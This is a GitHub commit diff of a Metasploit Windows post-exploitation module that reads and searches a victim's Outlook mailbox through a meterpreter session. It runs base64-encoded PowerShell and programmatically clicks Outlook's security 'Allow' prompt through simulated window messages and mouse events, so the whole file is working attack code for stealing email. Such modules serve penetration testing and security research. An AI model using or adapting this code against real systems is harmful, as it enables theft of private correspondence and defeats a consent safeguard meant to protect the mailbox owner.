Skip to content

Commit 91a53dc

Browse files
committed
Add Windows post module for reading/searching Outlook e-mail
1 parent 7a2b720 commit 91a53dc

File tree

1 file changed

+150
-137
lines changed

1 file changed

+150
-137
lines changed

modules/post/windows/gather/outlook.rb

Lines changed: 150 additions & 137 deletions
Original file line numberDiff line numberDiff line change
@@ -4,150 +4,163 @@
44
##
55

66
require 'msf/core'
7-
require 'msf/core/post/windows/registry'
87
require 'iconv'
9-
require 'base64'
108

119
class Metasploit3 < Msf::Post
1210

13-
include Msf::Post::Windows::Registry
11+
include Msf::Post::Windows::Registry
1412

1513
A_HASH = { "en_US" => "Allow", "NL" => "Toestaan" }
1614
ACF_HASH = { "en_US" => "Allow access for", "NL" => "Toegang geven voor" }
1715

18-
def initialize(info={})
19-
super(update_info(info,
20-
'Name' => 'Windows gather/search Outlook e-mailmessages',
21-
'Description' => %q{
22-
This module allows you to read and search e-mailmessages from the local Outlook installation using powershell. Please note that this module is manipulating the victims keyboard/mouse.
23-
If a victim is behind the target system, he might detect your activity. Tested on Windows 8.1 x64 with Office 2013.
24-
},
25-
'License' => MSF_LICENSE,
26-
'Author' => [ 'Wesley Neelen <security[at]forsec.nl>' ],
27-
'Platform' => [ 'win' ],
28-
'Arch' => [ 'x86', 'x64' ],
29-
'SessionTypes' => [ 'meterpreter']
30-
))
31-
32-
register_options(
33-
[
34-
OptBool.new('LIST_FOLDERS', [ true, ' List the available folders', true]),
35-
OptString.new('FOLDER', [ false, ' The e-mailfolder to read (e.g. Inbox)' ]),
36-
OptString.new('KEYWORD', [ false, ' Search e-mails by the keyword specified here' ]),
37-
OptString.new('A_TRANSLATION', [ false, ' Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.' ]),
38-
OptString.new('ACF_TRANSLATION', [ false, ' Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.' ]),
39-
], self.class)
40-
end
41-
42-
43-
def listBoxes
44-
# This function prints a listing of available mailbox folders
45-
listBoxes_res = cmd_exec('powershell', '-enc ZgB1AG4AYwB0AGkAbwBuACAATABpAHMAdAAtAEYAbwBsAGQAZQByACAAewAKACAAIAAgACAAQwBsAGUAYQByAC0AaABvAHMAdAAKACAAIAAgACAAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIAAiAE0AaQBjAHIAbwBzAG8AZgB0AC4ATwBmAGYAaQBjAGUALgBJAG4AdABlAHIAbwBwAC4ATwB1AHQAbABvAG8AawAiAAoAIAAgACAAIAAkAE8AdQB0AGwAbwBvAGsAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AQwBvAG0ATwBiAGoAZQBjAHQAIABPAHUAdABsAG8AbwBrAC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuAAoAIAAgACAAIAAkAE4AYQBtAGUAcwBwAGEAYwBlACAAPQAgACQATwB1AHQAbABvAG8AawAuAEcAZQB0AE4AYQBtAGUAUwBwAGEAYwBlACgAIgBNAEEAUABJACIAKQAKACAAIAAgACAAJABOAGEAbQBlAFMAcABhAGMAZQAuAEYAbwBsAGQAZQByAHMALgBJAHQAZQBtACgAMQApAC4ARgBvAGwAZABlAHIAcwAgAHwAIABGAFQAIABGAG8AbABkAGUAcgBQAGEAdABoAAoAfQAKAAoATABpAHMAdAAtAEYAbwBsAGQAZQByAAoA')
46-
currentidle = session.ui.idle_time
47-
print_status("System has currently been idle for #{currentidle} seconds")
48-
print_status listBoxes_res
49-
end
50-
51-
def readEmails(folder,keyword,searchobject,atrans,acftrans)
52-
# This functions reads Outlook using powershell scripts
53-
view = framework.threads.spawn("ButtonClicker", false) {
54-
clickButton(atrans,acftrans)
55-
}
56-
psh_script = "function Get-Emails {\n"
57-
psh_script += " param ([String]$searchTerm,[String]$Folder,[String]$searchObject)\n"
58-
psh_script += " Add-Type -Assembly \"Microsoft.Office.Interop.Outlook\"\n"
59-
psh_script += " $Outlook = New-Object -ComObject Outlook.Application\n"
60-
psh_script += " $Namespace = $Outlook.GetNameSpace(\"MAPI\")\n"
61-
psh_script += " $NameSpace.Folders.Item(1)\n"
62-
psh_script += " $Email = $NameSpace.Folders.Item(1).Folders.Item($Folder).Items\n"
63-
psh_script += " $Email | Where-Object {$_.$searchObject -like '*' + $searchTerm + '*'}\n"
64-
psh_script += " Write-Host $Email\n"
65-
psh_script += "}\n"
66-
psh_script += "\n"
67-
psh_script += "Get-Emails \"" + keyword + "\" \"" + folder + "\" \"" + searchobject + "\"\n"
68-
utf16conv = Iconv.conv('UTF16LE', 'ASCII', psh_script)
69-
encoded_psh = Base64.encode64(utf16conv)
70-
readEmails_res = cmd_exec('powershell', '-enc ' + encoded_psh)
71-
print_status readEmails_res
72-
end
73-
74-
def clickButton(atrans,acftrans)
75-
# This functions clicks on the security notification generated by Outlook.
76-
sleep 1
77-
hwnd = client.railgun.user32.FindWindowW(nil, "Microsoft Outlook")
78-
hwndChildCk = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "&#{acftrans}")
79-
client.railgun.user32.SendMessageW(hwndChildCk['return'], 0x00F1, 1, nil)
80-
client.railgun.user32.MoveWindow(hwnd['return'],150,150,1,1,true)
81-
hwndChild = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "#{atrans}")
82-
client.railgun.user32.SetActiveWindow(hwndChild['return'])
83-
client.railgun.user32.mouse_event(0x0002,150,150,nil,nil)
84-
client.railgun.user32.SendMessageW(hwndChild['return'], 0x00F5, 0, nil)
85-
end
86-
87-
def run
88-
# Main method
89-
list_folder = datastore['LIST_FOLDERS']
90-
folder = datastore['FOLDER']
91-
keyword = datastore['KEYWORD']
92-
object = "HTMLBody"
93-
allow = datastore['A_TRANSLATION']
94-
allow_access_for = datastore['ACF_TRANSLATION']
95-
96-
if keyword.nil?
97-
keyword = ""
98-
end
99-
100-
# OS language check
101-
sysLang = client.sys.config.sysinfo['System Language']
102-
if sysLang != "en_US" and sysLang != "NL"
103-
if allow.nil? or allow_access_for.nil?
104-
print_error ("System language not supported, only English (en-US) and Dutch (NL) are supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)")
105-
return :abort
106-
else
107-
atrans = allow
108-
acftrans = allow_access_for
109-
end
110-
else
111-
atrans = A_HASH[sysLang]
112-
acftrans = ACF_HASH[sysLang]
113-
end
114-
115-
# Outlook installed
116-
@key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
117-
outlookInstalled = registry_getvaldata("#{@key_base}\\", "NextAccountID")
118-
119-
if outlookInstalled != 0
120-
print_good "Outlook is installed"
121-
else
122-
print_error "Outlook is not installed"
123-
return :abort
124-
end
125-
126-
# Powershell installed check
127-
if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
128-
print_good("Powershell is installed on this system.")
129-
else
130-
print_error("Powershell is not installed")
131-
return :abort
132-
end
133-
134-
# Check whether target system is locked
135-
locked = client.railgun.user32.GetForegroundWindow()['return']
136-
if locked == 0
137-
print_error("Target system is locked. This post module cannot click on Outlooks security warning when the target system is locked")
138-
return :abort
139-
end
140-
141-
if list_folder
142-
print_good('Available folders in the mailbox: ')
143-
listBoxes()
144-
else
145-
print_status('Not printing folders, LIST_FOLDERS disabled')
146-
end
147-
148-
if folder
149-
readEmails(folder,keyword,object,atrans,acftrans)
150-
end
151-
end
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => 'Windows Gather Outlook Email Messages',
19+
'Description' => %q{
20+
This module allows you to read and search email messages from the local Outlook installation using powershell. Please note that this module is manipulating the victims keyboard/mouse.
21+
If a victim is behind the target system, he might notice the activities of this module. Tested on Windows 8.1 x64 with Office 2013.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' => [ 'Wesley Neelen <security[at]forsec.nl>' ],
25+
'Platform' => [ 'win' ],
26+
'Arch' => [ 'x86', 'x64' ],
27+
'SessionTypes' => [ 'meterpreter']
28+
))
29+
30+
register_options(
31+
[
32+
OptBool.new('LIST_FOLDERS', [ true, ' List the available folders', true]),
33+
OptString.new('FOLDER', [ false, ' The e-mailfolder to read (e.g. Inbox)' ]),
34+
OptString.new('KEYWORD', [ false, ' Search e-mails by the keyword specified here' ]),
35+
OptString.new('A_TRANSLATION', [ false, ' Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.' ]),
36+
OptString.new('ACF_TRANSLATION', [ false, ' Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.' ]),
37+
], self.class)
38+
end
39+
40+
41+
def listBoxes
42+
# This function prints a listing of available mailbox folders
43+
psh_script = %Q|
44+
function List-Folder {
45+
Clear-host
46+
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
47+
$Outlook = New-Object -ComObject Outlook.Application
48+
$Namespace = $Outlook.GetNameSpace("MAPI")
49+
$NameSpace.Folders.Item(1).Folders \| FT FolderPath
50+
}
51+
List-Folder
52+
|
53+
utf16conv = Iconv.conv('UTF16LE', 'ASCII', psh_script)
54+
encoded_psh = Rex::Text.encode_base64(utf16conv)
55+
listBoxes_res = cmd_exec('powershell', '-enc ' + encoded_psh)
56+
currentidle = session.ui.idle_time
57+
print_status("System has currently been idle for #{currentidle} seconds")
58+
print_status listBoxes_res
59+
end
60+
61+
def readEmails(folder,keyword,searchobject,atrans,acftrans)
62+
# This functions reads Outlook using powershell scripts
63+
view = framework.threads.spawn("ButtonClicker", false) {
64+
clickButton(atrans,acftrans)
65+
}
66+
psh_script = %Q|
67+
function Get-Emails {
68+
param ([String]$searchTerm,[String]$Folder,[String]$searchObject)
69+
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
70+
$Outlook = New-Object -ComObject Outlook.Application
71+
$Namespace = $Outlook.GetNameSpace("MAPI")
72+
$NameSpace.Folders.Item(1)
73+
$Email = $NameSpace.Folders.Item(1).Folders.Item($Folder).Items
74+
$Email \| Where-Object {$_.$searchObject -like '*' + $searchTerm + '*'}
75+
Write-Host $Email
76+
}
77+
Get-Emails "#{keyword}" "#{folder}" "#{searchobject}"
78+
|
79+
utf16conv = Iconv.conv('UTF16LE', 'ASCII', psh_script)
80+
encoded_psh = Rex::Text.encode_base64(utf16conv)
81+
readEmails_res = cmd_exec('powershell', '-enc ' + encoded_psh)
82+
print_status readEmails_res
83+
end
84+
85+
def clickButton(atrans,acftrans)
86+
# This functions clicks on the security notification generated by Outlook.
87+
sleep 1
88+
hwnd = client.railgun.user32.FindWindowW(nil, "Microsoft Outlook")
89+
hwndChildCk = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "&#{acftrans}")
90+
client.railgun.user32.SendMessageW(hwndChildCk['return'], 0x00F1, 1, nil)
91+
client.railgun.user32.MoveWindow(hwnd['return'],150,150,1,1,true)
92+
hwndChild = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "#{atrans}")
93+
client.railgun.user32.SetActiveWindow(hwndChild['return'])
94+
client.railgun.user32.mouse_event(0x0002,150,150,nil,nil)
95+
client.railgun.user32.SendMessageW(hwndChild['return'], 0x00F5, 0, nil)
96+
end
97+
98+
def run
99+
# Main method
100+
list_folder = datastore['LIST_FOLDERS']
101+
folder = datastore['FOLDER']
102+
keyword = datastore['KEYWORD'].to_s
103+
object = "HTMLBody"
104+
allow = datastore['A_TRANSLATION']
105+
allow_access_for = datastore['ACF_TRANSLATION']
106+
107+
# OS language check
108+
sysLang = client.sys.config.sysinfo['System Language']
109+
if sysLang != "en_US" and sysLang != "NL"
110+
if allow.nil? or allow_access_for.nil?
111+
print_error ("System language not supported, only English (en-US) and Dutch (NL) are supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)")
112+
abort()
113+
else
114+
atrans = allow
115+
acftrans = allow_access_for
116+
end
117+
else
118+
atrans = A_HASH[sysLang]
119+
acftrans = ACF_HASH[sysLang]
120+
end
121+
122+
# Outlook installed
123+
@key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
124+
outlookInstalled = registry_getvaldata("#{@key_base}\\", "NextAccountID")
125+
126+
if !outlookInstalled.nil?
127+
if outlookInstalled != 0
128+
print_good "Outlook is installed"
129+
else
130+
print_error "Outlook is not installed"
131+
abort()
132+
end
133+
end
134+
135+
# Powershell installed check
136+
powershellInstalled = registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
137+
138+
if !powershellInstalled.nil?
139+
if powershellInstalled != 0
140+
print_good("Powershell is installed on this system.")
141+
else
142+
print_error("Powershell is not installed")
143+
abort()
144+
end
145+
end
146+
147+
# Check whether target system is locked
148+
locked = client.railgun.user32.GetForegroundWindow()['return']
149+
if locked == 0
150+
print_error("Target system is locked. This post module cannot click on Outlooks security warning when the target system is locked")
151+
abort()
152+
end
153+
154+
if list_folder
155+
print_good('Available folders in the mailbox: ')
156+
listBoxes()
157+
else
158+
print_status('Not printing folders, LIST_FOLDERS disabled')
159+
end
160+
161+
if folder
162+
readEmails(folder,keyword,object,atrans,acftrans)
163+
end
164+
end
152165
end
153166

0 commit comments

Comments
 (0)